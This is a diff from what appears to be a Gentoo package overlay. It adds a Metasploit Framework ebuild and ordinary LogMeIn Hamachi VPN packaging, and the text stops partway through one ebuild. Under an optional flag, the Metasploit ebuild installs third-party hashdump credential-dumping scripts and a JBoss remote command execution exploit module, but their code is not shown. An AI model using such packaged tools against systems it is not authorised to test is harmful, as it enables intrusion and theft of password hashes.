+AUX hashdump2_script_6ac6c1d.rb 11382 RMD160 faabc47a80ae4a76f42a6364c08c38b961506555 SHA1 65a2db4982f240767b7e69b694cd900c8f908fa5 SHA256 2535f9d3bac1f559b4e5d827e5847b08fe0477bbcb8585960ad45ff15ab30c63
+AUX msfrpcd.confd 443 RMD160 03cafbafba9af1f6a4e70810942f11b7086dc98f SHA1 fb4c3aab4b1e38ddeaeafe69b1e72ce81fba3505 SHA256 8d29b5975f1c91ecd6ec552b04e8fc82e0a6fe2c782d6b214544d9a01f73eeb3
+AUX msfrpcd.initd 622 RMD160 d5923c49a9a7a4e6010c2b2e8927d13dfee8e9ef SHA1 9c664a4f8b6df69ec859e5bdcd71908b8f43856d SHA256 d6b7f865ccd3d7795e65886e2e46ce023aa56b519c12a9f41616ff21988579c9
+AUX smart_hasdump_script_6ac6c1d.rb 15510 RMD160 3ff084bf3b86df1fa37499b004ca040161b324b8 SHA1 3795c23ae5160fdc13ba1d9c7f05e3893ff6f4e9 SHA256 66dec160dd9cc2fee2f8de11bf433f40baa1f41734ecf62aca9a32e0ca8a438f
+DIST jboss_seam_remote_command_rb 3412 RMD160 c577b1bd75943f2ddceea3161bc1037dd0150c2f SHA1 b858c726d3ee26317726635373d5db3b7eeb774d SHA256 c87f1cc1b82ed105c7bf551db7e3bad0a787244c4cdd124015a3ff24cedd23df
+DIST vbsmem-1.2.1.patch 69002 RMD160 281461151b0d1e453ee613326f4457eebaddebaa SHA1 883a582552e00102be452a2a0105b9e016b3dccc SHA256 7991a5629c562817919c9bb1c8f0a3bdcd1c63cf9b9f32f322d1d266416589d2
+EBUILD metasploit-9999.ebuild 8526 RMD160 8e948baaaa24e5a0a30ad0258b2b28ae92e59759 SHA1 5893516f12bcd0a892f126d83f2ef0ae2b6d29bf SHA256 d5d7e803319d24c13f9e1ac602c3ca813f689d162a0c654f54c43d93cb371b91
diff --git a/net-analyzer/metasploit/metasploit-9999.ebuild b/net-analyzer/metasploit/metasploit-9999.ebuild
new file mode 100644
index 00000000..4310c435
--- /dev/null
+++ b/net-analyzer/metasploit/metasploit-9999.ebuild
@@ -0,0 +1,215 @@
+# Copyright 1998-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-3.1_p5699-r1.ebuild,v 1.3 2008/11/09 14:52:13 nixnut Exp $
+
+EAPI="4"
+inherit eutils subversion
+
+MY_P=${PN/metasploit/framework}-${PV}
+
+MTSLPT_REV=${BASH_REMATCH[2]}
+ESVN_REPO_URI="https://metasploit.com/svn/framework3/trunk"
+
+SRC_URI="https://dev.metasploit.com/redmine/attachments/download/906/vbsmem-1.2.1.patch
+	https://dev.metasploit.com/redmine/attachments/1200/jboss_seam_remote_command_rb"
+
+DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
+HOMEPAGE="http://www.metasploit.org/"
+SLOT="9999"
+LICENSE="BSD"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+armitage +kissfft unstable lorcon lorcon2 +pcaprub +postgres serialport"
+
+REQUIRED_USE="armitage? ( postgres )"
+
+# Note we use bundled gems (see data/msfweb/vendor/rails/) as upstream voted for
+# such solution, bug #247787
+RDEPEND="dev-lang/ruby
+	dev-ruby/rubygems
+	>=app-crypt/johntheripper-1.7.9-r1[-minimal]
+	!arm? ( dev-ruby/hpricot
+		virtual/jdk
+		dev-ruby/rjb
+		dev-ruby/msgpack )
+	postgres? ( dev-db/postgresql-server
+		!arm? ( dev-ruby/pg
+		dev-ruby/activerecord[postgres] ) )
+	pcaprub? ( net-libs/libpcap )
+	armitage? ( net-analyzer/nmap )
+	lorcon? ( net-wireless/lorcon-old )
+	lorcon2? ( net-wireless/lorcon )"
+DEPEND=""
+
+RESTRICT="strip"
+
+QA_EXECSTACK="
+	usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin"
+QA_WX_LOAD="
+	usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_*_linux.bin"
+QA_PREBUILT="
+	usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
+	usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
+	usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso"
+
+S=${WORKDIR}/${MY_P}
+
+src_compile() {
+	if use pcaprub; then
+		cd "${S}"/external/pcaprub
+		ruby extconf.rb
+		emake
+	fi
+	if use kissfft; then
+		cd "${S}"/external/ruby-kissfft
+		ruby extconf.rb
+		emake
+	fi
+	if use lorcon; then
+		cd "${S}"/external/ruby-lorcon
+		ruby extconf.rb
+		emake
+	fi
+	if use lorcon2; then
+		cd "${S}"/external/ruby-lorcon2
+		ruby extconf.rb
+		emake
+	fi
+	if use serialport; then
+		cd "${S}"/external/serialport
+		ruby extconf.rb
+		emake
+	fi
+}
+
+src_install() {
+	# should be as simple as copying everything into the target...
+	dodir /usr/$(get_libdir)/${PN}${SLOT}
+	cp -R "${S}"/* "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
+	rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README || die
+	fowners -R root:0 /
+
+	# do not remove LICENSE, bug #238137
+	dodir /usr/share/doc/${PF}
+	cp -R "${S}"/{documentation,README} "${ED}"/usr/share/doc/${PF} || die
+	dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
+
+
+	dodir /usr/bin/
+	for file in msf*; do
+		dosym /usr/$(get_libdir)/${PN}${SLOT}/${file} /usr/bin/${file}
+	done
+
+	newinitd "${FILESDIR}"/msfrpcd.initd msfrpcd${SLOT}
+	newconfd "${FILESDIR}"/msfrpcd.confd msfrpcd${SLOT}
+
+	# Avoid useless revdep-rebuild trigger #377617
+	dodir /etc/revdep-rebuild/
+	echo "SEARCH_DIRS_MASK=\"/usr/lib*/${PN}${SLOT}/data/john\"" > \
+		"${ED}"/etc/revdep-rebuild/70-${PN}${SLOT}
+
+	if use armitage; then
+		echo -e "#!/bin/sh \n\nexport MSF_DATABASE_CONFIG=/usr/$(get_libdir)/${PN}${SLOT}/armitage.yml\n" > armitage
+		echo -e "java -Xmx256m -jar /usr/$(get_libdir)/${PN}${SLOT}/data/armitage/armitage.jar \$* &\n" >> armitage
+		dobin armitage
+		insinto /usr/$(get_libdir)/${PN}${SLOT}/
+		doins  "${FILESDIR}"/armitage.yml
+	fi
+
+	#Add new modules from metasploit bug report system not in the main tree yet
+	if use unstable; then
+
+	#smart hasdump from http://www.darkoperator.com/blog/2011/5/19/metasploit-post-module-smart_hashdump.html
+	#https://github.com/darkoperator/Meterpreter-Scripts
+	cp "${FILESDIR}"/smart_hasdump_script_6ac6c1d.rb "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/scripts/meterpreter/smart_hasdump.rb || die "Copy files failed"
+	cp "${FILESDIR}"/hashdump2_script_6ac6c1d.rb "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/scripts/meterpreter/hashdump2.rb || die "Copy files failed"
+
+	#Slow HTTP POST Denial Of Service
+	#https://dev.metasploit.com/redmine/issues/3638
+
+	#EAP-MD5 offline dictionary attack
+	#https://dev.metasploit.com/redmine/issues/4439
+
+	#JBoss remote command execution exploit
+	#https://dev.metasploit.com/redmine/issues/4585
+	cp "${DISTDIR}"/jboss_seam_remote_command_rb "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/modules/exploits/multi/http/jboss_seam_remote_command.rb || die "Copy files failed"
+
+	fi
+	#fi unstable
+
+	if use pcaprub; then
+		cd "${S}"/external/pcaprub
+		emake DESTDIR="${ED}" install
+	fi
+	if use lorcon; then
+		cd "${S}"/external/ruby-lorcon
+		emake DESTDIR="${ED}" install
+	fi
+	if use lorcon2; then
+		cd "${S}"/external/ruby-lorcon2
+		emake DESTDIR="${ED}" install
+	fi
+	if use kissfft; then
+		cd "${S}"/external/ruby-kissfft
+		emake DESTDIR="${ED}" install
+	fi
+	if use serialport; then
+		cd "${S}"/external/serialport
+		emake DESTDIR="${ED}" install
+	fi
+
+	#unbundle johntheripper, it makes me sick to have to do this...
+	rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/data/john/run.*
+	dodir /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any
+	for i in $(ls -1 ${ROOT}/etc/john)
+	do
+		dosym /etc/john/${i} /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/${i}
+	done
+	dosym /usr/sbin/unique /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unique
+	dosym /usr/sbin/john /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/john
+	dosym /usr/sbin/unafs /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unafs
+	dosym /usr/sbin/genmkvpwd /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/genmkvpwd
+	dosym /usr/sbin/john-mailer /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/john-mailer
+	dosym /usr/sbin/undrop /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/undrop
+	dosym /usr/sbin/unshadow /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unshadow
+	dosym /usr/sbin/tgtsnarf /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/tgtsnarf
+	dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x64.mmx
+	dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.mmx
+	dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.sse2
+
+	#while we are commiting fixes for filth, let's bogart msfupdate
+	echo "#!/bin/sh" > "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
+	echo "echo \"[*]\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
+	echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
+	echo "echo \"[*]\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
+	echo "echo \"\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
+	echo "ESVN_REVISION=HEAD emerge --oneshot \"=${CATEGORY}/${PF}\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
+}
+pkg_postinst() {
+	if use postgres; then
+		elog "You need to prepare the database as described on the following page:"
+		use postgres && elog "https://community.rapid7.com/docs/DOC-1268"
+		elog
+	fi
+
+	elog "If you wish to update ${PN}${SLOT} manually simply run:"
+	elog
+	elog "ESVN_REVISION=<rev> emerge =${PF}"
+	elog
+	elog "where <rev> is either HEAD (in case you wish to get all updates)"
+	elog "or specific revision number. But NOTE, this update will vanish"
+	elog "next time you reemerge ${PN}${SLOT}. To make update permanent either"
+	elog "create ebuild with specific revision number inside your overlay"
+	elog "or report revision bump bug at http://bugs.gentoo.org ."
+	elog
+	elog "In case you use portage it's also possible to create"
+	elog "/etc/portage/env/${CATEGORY}/${PN}${SLOT} file with ESVN_REVISION=<rev>"
+	elog "content. Then each time you run emerge ${PN}${SLOT} you'll have said"
+	elog "<rev> installed. For example, if you run"
+	elog " # mkdir -p /etc/portage/env/${CATEGORY}"
+	elog " # echo ESVN_REVISION=HEAD >> /etc/portage/env/${CATEGORY}/${PN}${SLOT}"
+	elog "each time you reemerge ${PN}${SLOT} it'll be updated to get all possible"
+	elog "updates for framework-${PV%_p*} branch."
+	elog "You can do similar things in paludis using /etc/paludis/bashrc."
+	elog
+	elog "Adjust /usr/$(get_libdir)/${PN}${SLOT}/armitage.yml and /etc/conf.d/msfrpcd${PV} files if necessary"
+}
diff --git a/net-misc/hamachi-gui/Manifest b/net-misc/hamachi-gui/Manifest
new file mode 100644
index 00000000..20071729
--- /dev/null
+++ b/net-misc/hamachi-gui/Manifest
@@ -0,0 +1,2 @@
+DIST hamachi-gui_0.9.6.tar.gz 248476 RMD160 902d88cc0aa83fae7eea0d80c4b6314a076dcedd SHA1 3c7fdec3d26d91731deb9b8b632a35a15dc11b20 SHA256 8a66a4d6f68c32e043878def90f0533968cc564357e23edfb9c20718e32dd0c2
+EBUILD hamachi-gui-0.9.6.ebuild 830 RMD160 c3a99680388c0b94ccade1d74a975651c3096d5d SHA1 687fca95be69535fa3e4fa8095d671f6341cfbf1 SHA256 aa525261b2110f638a7b0f33d9b7c1dbe8a0ede71a4f084e4532eb853ce4c7a6
diff --git a/net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild b/net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild
new file mode 100644
index 00000000..313246e4
--- /dev/null
+++ b/net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="Hamachi-GUI is a free, fully functional GTK-interface for hamachi"
+HOMEPAGE="http://hamachi-gui.sourceforge.net/"
+MY_P="${PN}_${PV}"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+LANGS="bg de es fr it no pl sk sv"
+
+for X in ${LANGS} ; do
+	IUSE="${IUSE} linguas_${X}"
+done
+
+
+DEPEND="net-misc/hamachi
+	x11-libs/gtk+"
+RDEPEND="${DEPEND}"
+
+src_compile() {
+	econf
+	emake || die "emake failed"
+}
+
+src_install() {
+emake DESTDIR="${D}" install
+
+for x in `ls ${D}/usr/share/locale/` ; do
+	USELANG=""
+	for y in ${LINGUAS} ; do
+		[[ ${x} == ${y} ]]  && USELANG="yes"
+	done
+
+	[[ ${USELANG} != "yes" ]] && rm -r ${D}/usr/share/locale/${x}
+done
+}
diff --git a/net-misc/logmein-hamachi/ChangeLog b/net-misc/logmein-hamachi/ChangeLog
new file mode 100644
index 00000000..b2233e8b
--- /dev/null
+++ b/net-misc/logmein-hamachi/ChangeLog
@@ -0,0 +1,49 @@
+# ChangeLog for net-misc/logmein-hamachi
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/ChangeLog,v 1.7 2012/10/03 21:11:40 hwoarang Exp $
+
+*logmein-hamachi-2.1.0.76 (03 Oct 2012)
+
+  03 Oct 2012; Markos Chandras <hwoarang@gentoo.org>
+  +logmein-hamachi-2.1.0.76.ebuild, metadata.xml:
+  Version bump. Thanks to Simone Scanzoni <nonno.cicala@libero.it>
+
+*logmein-hamachi-2.1.0.68-r1 (17 Aug 2012)
+
+  17 Aug 2012; Aaron W. Swenson <titanofold@gentoo.org>
+  +logmein-hamachi-2.1.0.68-r1.ebuild:
+  Fixes bug 430234. Per Simone Scanzoni.
+
+*logmein-hamachi-2.1.0.68 (29 Jun 2012)
+
+  29 Jun 2012; Maxim Koltsov <maksbotan@gentoo.org>
+  +logmein-hamachi-2.1.0.68.ebuild, metadata.xml:
+  Bump to 2.1.0.68, thanks to Simone Scanzoni. Clean up metadata
+
+  24 Aug 2011; Markos Chandras <hwoarang@gentoo.org> metadata.xml:
+  Assign package to proxy-maintainers team
+
+*logmein-hamachi-2.1.0.17 (24 Aug 2011)
+
+  24 Aug 2011; Markos Chandras <hwoarang@gentoo.org>
+  -logmein-hamachi-2.0.1.13.ebuild, -logmein-hamachi-2.0.1.15.ebuild,
+  +logmein-hamachi-2.1.0.17.ebuild, files/logmein-hamachi.initd:
+  Version bump. Bug #378969. Thanks to Simone Scanzoni <nonno.cicala@libero.it>
+  for the new initd file
+
+*logmein-hamachi-2.0.1.15 (13 Jun 2011)
+
+  13 Jun 2011; Markos Chandras <hwoarang@gentoo.org>
+  +logmein-hamachi-2.0.1.15.ebuild:
+  Version bump thanks to Simone Scanzoni <nonno.cicala@libero.it>
+
+*logmein-hamachi-2.0.1.13 (15 Jan 2011)
+
+  15 Jan 2011; Markos Chandras <hwoarang@gentoo.org>
+  +logmein-hamachi-2.0.1.13.ebuild, +files/logmein-hamachi.confd,
+  +files/logmein-hamachi.initd, +metadata.xml:
+  Initial commit of new hamachi client. Bug #350172. The original hamachi
+  client has been renamed to logmein-hamachi which is more a replacement rather
+  than a new version. Thanks to Simone Scanzoni <nonno.cicala@libero.it> for
+  the ebuilds and scripts. He will proxy maintain it. The old client will be
+  removed in 30 days
diff --git a/net-misc/logmein-hamachi/Manifest b/net-misc/logmein-hamachi/Manifest
new file mode 100644
index 00000000..b79a5074
--- /dev/null
+++ b/net-misc/logmein-hamachi/Manifest
@@ -0,0 +1,15 @@
+AUX logmein-hamachi.confd 541 SHA256 661be1f7ca7ce360933ab275a9f0a43961c00940534c1c156a985fe346bcb058 SHA512 8d28891af13b597d9a29dcdc3a92e3c933e6cd3c122d720f6ec140619fbf26e2a2c4d3c729ed0499fc844e7b4480149dae76268bfe024b88f7c2e44b39e5ac14 WHIRLPOOL e1019d4bc29884932691f49f5bd2889c1331a14f63b9b98d30a68b15d366ca236e56bce606f3082c6ee678ffa1621204e706fdfe3f62da3d8d1eb36840ac96f3
+AUX logmein-hamachi.initd 1526 SHA256 49337e88fb6b42bd830b108471ab87335a5890c2250f01f3dfa7069b4406984d SHA512 4f76dff322af85e89627a50feb43d46745057a65cbad27e57449f572ecf725df1407b66a651fcf3a41fd787eb6c95ac0a59afd1e4bf7a4b3542319285fec62e6 WHIRLPOOL ce0e3bac91a071b402f6166a06e8a3e10fa47b9e62fb536fa375769db493e1ec1b31f2667fd610b4ba84c6105fe70acc13e1cae4d4c124ce2dd5ddc293338cc8
+DIST logmein-hamachi-2.1.0.17-x64.tgz 1055901 SHA256 5de15e39d00d993fcd9d7a84ad6f8a89f6fa1162d7f55309d803c9b9718ef2f9
+DIST logmein-hamachi-2.1.0.17-x86.tgz 997313 SHA256 a1f026c0266fe07835c72e3a432528f11fbde7e1ec4cbfbcba731cef8f51feec
+DIST logmein-hamachi-2.1.0.68-x64.tgz 1070317 SHA256 4a32bb07eac35f03c23787d31b86469545b520fd3c0337b8ddaed788c2754869 SHA512 1754292691709e3e4136fa00fc12389e982a002c7c045a2f5e00e9b79751f6e616318c9d7db5605aadeffc1f23efd51d3b694acdd541c89b7937898bcf509aaf WHIRLPOOL 777d5326b8382b29da99dac1f52d291c9df94381d2ffd91a3339c89bcdbc6a8f80b1fa61940a2b5080855a3f5969c40c62cf652398a731866b4d9c55e5f4c795
+DIST logmein-hamachi-2.1.0.68-x86.tgz 1010497 SHA256 41138f1c52b810a3ac107f93a161302b72805d71a389353070d5daead1cf70d7
+DIST logmein-hamachi-2.1.0.76-x64.tgz 1091221 SHA256 c6c59ce1ac4db42458b038e28cad114bad9fa6cb386de73050843d47e88645e3 SHA512 913aa516d7430085c04d33a6079c8ad82a19309f59ea91a8f0304b4d08c3b35932522a1315100ecf4a8ab1ab385564a46726c489e669d3beb1b972655228c981 WHIRLPOOL 4994184c4b46db3f1b50add3d6e5e0b57f9bcb96e2ccd78a560e7eabcb7ab4b3ea8163e143871e5701ebbbf9d1e9ea00660c921d10795f9073efcd09a6663def
+DIST logmein-hamachi-2.1.0.76-x86.tgz 1031594 SHA256 1172f32ccb0ca63a726fa31aa5398f57591aabcfa688282a1f1c82c099e9fe19 SHA512 c533bd4fa7af814e12842d68072d6f05b58bf586105a75e267dab231b81112944ccc61f12377b498b78b8f4d90d0173cf32fb7fad208fae0633f7f99fd294855 WHIRLPOOL 9b631ae8ce5fb33aa647eee4b256d4c63b7a81929f1f26c71273d82a092b873c8021fbb1fb3b1a37cd186ab551bd4e29a8f5d2fa7a3e8393b1e2949522311818
+EBUILD logmein-hamachi-2.1.0.17.ebuild 1715 SHA256 4b782d243f17c5a92f5655d4a1cd12539e79ce5bd8348b3db99ed25f07c0667f SHA512 78be607d7dfba677b72ca05efa367ab173b2a8bdd174a857739e8fe1ca1413288cd65e1100a3eeef026db3ee0d9219e48db4393c666a6b4741d02503a8e46372 WHIRLPOOL 537003b17ba9d268186211e0cf28e6253110fa001c44fbaf78c54619ef546e6a33b3f6e70b46fde631aa0662cf96a67d4abfa2156e8837671e85184510f6d260
+EBUILD logmein-hamachi-2.1.0.68-r1.ebuild 1758 SHA256 832e1794dec78885a1fa97954e0a25fa5d46f452cb50f699bf83e49271c893ab SHA512 24026684f6eea159b03660fce63c18c7a2b3e058c40444b83724feb1617b98d4da622d166a2a1b1c63ac6a9cec19673e900650613cfabe508e96eb758f55c999 WHIRLPOOL 9348c1aaec3443d19e90e86251b2e6d29c096e80acc0e63957296f88b298575686cb043de271aa5db77d8bd10edc53d5826269b14ea6eb7a4076ee0455b137e3
+EBUILD logmein-hamachi-2.1.0.68.ebuild 1716 SHA256 437169993b9e9317f324d2dbf17fd5395525ab16ea1bb3d86a73c3d0a4907e71 SHA512 134044bf514e43d6f6c0172bd9e4c65432ba78cbfb8e2616ad0709373ac7b5774253eda298d8c4cf742036c10812bc68440b87b9bcb82eaa6134026323e55eef WHIRLPOOL 677c744e17d5ee60f9c20b06138c6a33b2c0b346a452e8b31f5e8acf6b986c59cfab863cfb66f96b48c2849bde4e93ad184a4c0655610d70ba0be591214a0299
+EBUILD logmein-hamachi-2.1.0.76-r1.ebuild 1763 SHA256 3a62497742d738c17e8709ce04ae9a6d8aed0ce71b0703d8c3ea80fc5db1e8f9 SHA512 8f74f52479831f39232f7897a88b7021cf7403c340f304ef6a451f61edf1a092f78000df926392a0936cbc54740a4eaec3d985325f5988babced8015cc45a4fe WHIRLPOOL 673211832e7a4dc84cd17576e9b8a7731cb40a95b09f6ee5f72baef05c1d4becb032621023a017cc89f186dcb25311e7aaf4369c2a3907d2a631c62b47853c5a
+EBUILD logmein-hamachi-2.1.0.76.ebuild 1753 SHA256 7a46dd5d2f075eeb9e4fe66fe538a7c50f3584a44b50d85bfe5bf34387a7bb8c SHA512 a24990b27f45d9ed62cbde3104653bceddf1a5b6be10975ae618fd473ef20732768924bbe6eb7af0e547f4fe30ea817e300a13fb24d6ae104012792b61eeeca3 WHIRLPOOL f455a8bc569e621e7908640f32103531c53957ef260488870bf7682bff0df3bf3de12643397ea7785bd17bc20d61ba9b6b3cec1ff0fc912efb83da5f7d9475b9
+MISC ChangeLog 2004 SHA256 62069c818b0a7d11cab658f1a0767c8ce1eb71ee3e10d47916fe4bb1286575aa SHA512 ca815fbd7846375627d04adc20ff59ca22b7d5d8cf8aa5533e61dc54923b9ba784a0553999efdb0397b6774ab69b50be191ad0ffa4c9e85383124498ee9bede8 WHIRLPOOL 300d47284051403a532c89defd584ad3d579bcaded2e16fa6db775f6a7a4af44bfc5c0bf152d4f701b37e10566c7f9629d0c4dc4670e230799ddce29556e672b
+MISC metadata.xml 271 SHA256 fbb3d4a4ac430596956b69e0435bad93c2a660fa52c7503cefd1d7b615770185 SHA512 8e0d07e4d7817e26452a71f4c35f1becf91c842da68ff67f4f09cb5c6d2d42a60d1cc424118841ce9d891594008de066e823537e69e5d983f056b87ef8a42079 WHIRLPOOL 3c41fce26ea8420680f397d6b68f0b0fd9b4b9c787c2c802535138f73e82db575943ade214f5a29d0447e7e0a532b2451f503b88be1b3499abb9746e1ab4f719
diff --git a/net-misc/logmein-hamachi/files/logmein-hamachi.confd b/net-misc/logmein-hamachi/files/logmein-hamachi.confd
new file mode 100644
index 00000000..0b6aac55
--- /dev/null
+++ b/net-misc/logmein-hamachi/files/logmein-hamachi.confd
@@ -0,0 +1,16 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/files/logmein-hamachi.confd,v 1.1 2011/01/15 21:13:25 hwoarang Exp $
+
+# /etc/conf.d/logmein-hamachi
+# Config file for logmein-hamachi control script
+
+# Location of config, identity and log files
+CONFDIR="/var/lib/logmein-hamachi"
+
+# Your nickname
+# Set it to enable auto-login when starting the service
+NICKNAME=""
+
+# Seconds to wait before auto-login (if enabled)
+WAIT="2"
diff --git a/net-misc/logmein-hamachi/files/logmein-hamachi.initd b/net-misc/logmein-hamachi/files/logmein-hamachi.initd
new file mode 100644
index 00000000..7b704e19
--- /dev/null
+++ b/net-misc/logmein-hamachi/files/logmein-hamachi.initd
@@ -0,0 +1,73 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+DAEMON=/opt/logmein-hamachi/bin/hamachid
+PIDFILE=/var/run/logmein-hamachi/hamachid.pid
+
+depend() {
+	need net
+}
+
+checktun() {
+	[ $(uname -s) = "Linux" ] || return 0
+        [ -e /dev/net/tun ] && return 0
+        modprobe tun && return 0
+
+	eerror "TUN/TAP support is not available in the running kernel"
+	return 1
+}
+
+start()
+{
+	# returns
+	#   0 if daemon has been started
+	#   1 if daemon was already running
+	#   2 if daemon could not be started
+
+	checktun || return 2
+
+	ebegin "Starting hamachi"
+
+	start-stop-daemon --quiet --start --exec "${DAEMON}" \
+		--pidfile "${PIDFILE}" -- -c "${CONFDIR}"
+	result=$?
+
+	if [ ${result} -eq 0 ] && [ -n "${NICKNAME}" ]; then
+		# it fails logging in immediately
+		sleep ${WAIT}
+		/usr/bin/hamachi login
+		if [ -z "$(/usr/bin/hamachi | grep 'logged in')" ]; then
+			start-stop-daemon --quiet --stop \
+			--exec "${DAEMON}" --pidfile "${PIDFILE}"
+			result=1
+		else
+			/usr/bin/hamachi set-nick "${NICKNAME}"
+		fi
+	fi
+
+	eend ${result}
+}
+
+stop()
+{
+	# returns
+	#   0 if daemon has been stopped
+	#   1 if daemon was already stopped
+	#   2 if daemon could not be stopped
+	#   other if a failure occurred
+
+	ebegin "Stopping hamachi"
+
+	/usr/bin/hamachi logout
+	start-stop-daemon --quiet --stop --exec "${DAEMON}" \
+		--pidfile "${PIDFILE}"
+
+	eend $?
+}
+
+status() {
+        service_started "${SVCNAME}" || return 1
+        /usr/bin/hamachi
+        /usr/bin/hamachi list
+}
diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild
new file mode 100644
index 00000000..cb76205f
--- /dev/null
+++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild,v 1.1 2011/08/24 11:07:13 hwoarang Exp $
+
+inherit eutils linux-info
+
+DESCRIPTION="LogMeIn Hamachi VPN tunneling engine"
+HOMEPAGE="https://secure.logmein.com/products/hamachi2"
+SRC_URI="x86?	( https://secure.logmein.com/labs/${P}-x86.tgz )
+	amd64?	( https://secure.logmein.com/labs/${P}-x64.tgz )"
+
+LICENSE="LogMeIn"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE=""
+
+RDEPEND="!net-misc/hamachi"
+
+RESTRICT="mirror"
+
+QA_PRESTRIPPED="/opt/${PN}/bin/hamachid"
+
+pkg_setup() {
+	einfo "Checking your kernel configuration for TUN/TAP support."
+	CONFIG_CHECK="~TUN"
+	check_extra_config
+}
+
+src_unpack() {
+	unpack ${A}
+	mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die
+}
+
+src_install() {
+	into /opt/${PN}
+	dobin hamachid dnsup dnsdown || die
+	dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink"
+
+	dodir /var/run/${PN} || die
+
+	# Config and log directory
+	dodir /var/lib/${PN} || die
+
+	newconfd "${FILESDIR}"/${PN}.confd ${PN} || die
+	newinitd "${FILESDIR}"/${PN}.initd ${PN} || die
+
+	dodoc CHANGES README || die
+}
+
+pkg_postinst() {
+	elog "LogMeIn Hamachi2 is installed."
+	elog "Consult the README file on how to configure your client."
+	elog "You can run the client 'hamachi' as root,"
+	elog "or as a user if you add a line:"
+	elog "Ipc.User      <login name>"
+	elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'"
+	elog "and restart the daemon with"
+	elog "/etc/init.d/${PN} restart"
+	elog "To enable auto-login when the service starts set a nickname in"
+	elog "/etc/conf.d/${PN}"
+}
diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild
new file mode 100644
index 00000000..364e95d5
--- /dev/null
+++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild,v 1.1 2012/08/17 11:54:58 titanofold Exp $
+
+inherit eutils linux-info
+
+DESCRIPTION="LogMeIn Hamachi VPN tunneling engine"
+HOMEPAGE="https://secure.logmein.com/products/hamachi2"
+SRC_URI="x86?	( https://secure.logmein.com/labs/${P}-x86.tgz )
